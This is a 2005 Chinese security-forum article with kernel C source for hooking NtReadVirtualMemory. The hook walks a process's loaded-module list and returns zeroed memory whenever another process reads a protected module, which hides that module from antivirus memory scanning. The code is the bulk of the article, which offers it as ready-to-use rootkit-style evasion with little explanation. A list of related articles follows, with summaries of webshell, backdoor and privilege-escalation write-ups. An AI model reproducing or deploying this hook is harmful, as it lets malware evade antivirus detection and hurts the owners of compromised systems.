对抗杀毒软件的内存扫描_漏洞研究

Author:  Polymorphours

Email:   Polymorphours@whitecell.org

Homepage:http://www.whitecell.org 

Date:    2005-11-17

/*++        Author: PolymorphoursDate: 2005/1/10通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,如果发现其他进程读被保护模块的内存,则返回0--*/typedef struct _LDR_DATA_TABLE_ENTRY {LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;LIST_ENTRY InInitializationOrderLinks;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING BaseDllName;/*+0x034 Flags            : Uint4B+0x038 LoadCount        : Uint2B+0x03a TlsIndex         : Uint2B+0x03c HashLinks        : _LIST_ENTRY+0x03c SectionPointer   : Ptr32 Void+0x040 CheckSum         : Uint4B+0x044 TimeDateStamp    : Uint4B+0x044 LoadedImports    : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 Void*/} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;/*++函数名: MyNtReadVirtualMemory参数:INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL功能:隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程返回:NTSTATUS--*/NTSTATUSMyNtReadVirtualMemory(INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL){NTSTATUSstatus;PEPROCESSeProcess;PVOIDPeb;PPEB_LDR_DATAPebLdrData;PLDR_DATA_TABLE_ENTRYLdrDataTableHeadList;PLDR_DATA_TABLE_ENTRYLdrDataTableEntry;PLIST_ENTRYBlink;PPROTECT_NODEFileNode = NULL;BOOLEANbHideFlag = FALSE;ULONGImageMaxAddress = 0;/*#ifdef _DEBUGDbgPrint( "Call Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName( 

PsGetCurrentProcess() ), BaseAddress );#endif*/status =ObReferenceObjectByHandle(ProcessHandle,FILE_READ_DATA,PsProcessType,KernelMode,(PVOID)&eProcess,NULL);if ( NT_SUCCESS(status) ) {//// 得到PEB的地址//Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));//// 切换到目标进程空间//KeAttachProcess( eProcess );//// 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块//if ( !MmIsAddressValid( Peb ) ) {/*#ifdef _DEBUGDbgPrint( "PEB is error.\n" );#endif*/KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));if ( !PebLdrData ) {KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}try {ProbeForRead ( PebLdrData,sizeof(PEB_LDR_DATA),sizeof(ULONG));//// 遍历模块链表//LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData

->InLoadOrderModuleList.Flink;LdrDataTableEntry = LdrDataTableHeadList;do {ProbeForRead(LdrDataTableEntry,sizeof(LDR_DATA_TABLE_ENTRY),sizeof(ULONG));if ( !LdrDataTableEntry->DllBase ) {LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry

->InLoadOrderLinks.Flink;continue;}//// 判断读的内存属于那一个模块,如果都不属于,那么放过//ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase +

 LdrDataTableEntry->SizeOfImage);if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < 

(ULONG)LdrDataTableEntry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { // // 如果不是读模块区域,那么枚举下一个 //LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->

InLoadOrderLinks.Flink;continue;}//// 如果是被保护的模块,那么返回虚假数据//bHideFlag = FALSE;Blink = ProtectFile.Blink;while ( Blink != &ProtectFile ) {FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );//// 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它//if ( wcsstr( FileNode->ProtectName, Ldr

DataTableEntry->FullDllName.Buffer ) ) {bHideFlag = TRUE;break;}Blink = Blink->Blink;}if ( bHideFlag ) {//// 返回原本的进程空间进行处理//KeDetachProcess();ObDereferenceObject( eProcess );ProbeForWrite(Buffer,BufferLength,sizeof(ULONG));memset( Buffer, 0x00, BufferLength );ProbeForWrite(ReturnLength,sizeof(PULONG),sizeof(ULONG));*ReturnLength = BufferLength;return STATUS_SUCCESS;}LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry

->InLoadOrderLinks.Flink;} while ( LdrDataTableEntry != LdrDataTableHeadList );} except( EXCEPTION_EXECUTE_HANDLER ) {if ( !bHideFlag ) {KeDetachProcess();ObDereferenceObject( eProcess );}goto CLEANUP;}KeDetachProcess();ObDereferenceObject( eProcess );}CLEANUP:return NtReadVirtualMemory(ProcessHandle,BaseAddress,Buffer,BufferLength,ReturnLength);}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:http://www.whitecell.org/ 

WSS 论坛:http://www.whitecell.org/forums/ 

时间: 2024-08-31 01:04:46

对抗杀毒软件的内存扫描_漏洞研究的相关文章

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

剖析网站遭遇的黑客的三次入侵_漏洞研究

[简 介]  随着教育信息化进程的推进,各类教育网站大量涌现.由于教育网站大多是学校计算机教师自己开发管理的小型网站,普通存在着设备.技术.专业人员不足的问题,网站自身存在漏洞,常常成为黑客攻击的目标,严重影响了正常业务的开展.这里,笔者希望通过对教育网站所遭遇的三次黑客入侵的剖析,来分析黑客常用的入侵方法和手段.      随着教育信息化进程的推进,各类教育网站大量涌现.由于教育网站大多是学校计算机教师自己开发管理的小型网站,普通存在着设备.技术.专业人员不足的问题,网站自身存在漏洞,常常成为

再探九酷网络个人主页空间管理系统_漏洞研究

本文作者:玄猫[B.C.T]  本文原发表于<黑客X档案>2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)  本文版权归<黑客X档案>和作者杂志社所有   --------------------------------------------------------------------------------  玄猫在2004年12

卡巴斯基(AVP)内存驻留型病毒检测方法_漏洞研究

author:killer  <killer②uid0.net>     卡巴斯基反病毒软件(Kaspersky Antivirus),以前叫AntiViral Toolkit Pro(AVP),出于习惯和简单,这里一律称为AVP或KAV.     学习AVP的检测办法的意义一方面在于AVP的检测方法是经过理论验证和实践考验的科学合理的方法,另外DOS年代过来的朋友对于反病毒有过这样的经验:"机子感染病毒了?好,请用干净无毒的系统盘启动,然后全盘查杀.",我记得CIH横行那

webshell权限提升技巧_漏洞研究

WEBSHELL权限提升技巧 c: d: e:.....  C:\Documents and Settings\All Users\「开始」菜单\程序\  看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,  C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\  看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆  c:\Pro

你根本想不到的——IIS另类后门_漏洞研究

终于由学校步入了社会,发现其实学校还是有很多值得我们留恋的地方,而工作其实蛮辛苦的,最主要的是不能经常和朋友一起去网上玩了.上周六回了趟学校,在主机房里和做网管的朋友聊天,偶然发现一个很熟的ASP程序在服务器的网站目录里(以前我是学校网络组的成员之一),于是连了下看看,没有给予匿名浏览的权限,不过账号勾选的是记住密码,登录成功.网页显示"添加test2用户成功","添加test2管理员成功".呵呵,我连管理员密码都不知道呢.打开3389,叫朋友看了下用户列表-- 

浅析国内某网络游戏的安全现况_漏洞研究

作者:紫幻 [E.S.T顾问团] 来源:邪恶八进制信息安全团队(www.eviloctal.com)  注意:本文已经在<非安全 黑客手册>上发表 转载请注明作者,并保持文章的完整性. < 浅析国内某网络游戏的安全现况>       首先在文章没有开始之前我要对支持和厚爱我的读者道歉,I am sorry !在我消失的这一年里我一直在玩国内一款十分火暴的网络游戏,该款游戏和此游戏的的代理商是目前中国网络游戏界的"大哥大",通过一年的网游生涯也叫我体会到了游戏中的

我是如何发现CCProxy远程溢出漏洞的_漏洞研究

CCProxy是一个国产的支持HTTP.FTP.Gopher.SOCKS4/5.Telnet.Secure(HTTPS).News(NNTP). RTSP.MMS等代理协议的代理服务器软件.因为其简单易用.界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理.前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码.    TIPS:什么是Gopher.RTSP.MMS?    G

网站程序中非SI漏洞的利用_漏洞研究

Part I 前言  现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者.  非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的.  Part II 方法介绍  常规的非SI类攻击有如下几种:  一. 跨站脚本攻击(XSS)  跨站脚本攻击不会直接对网站服务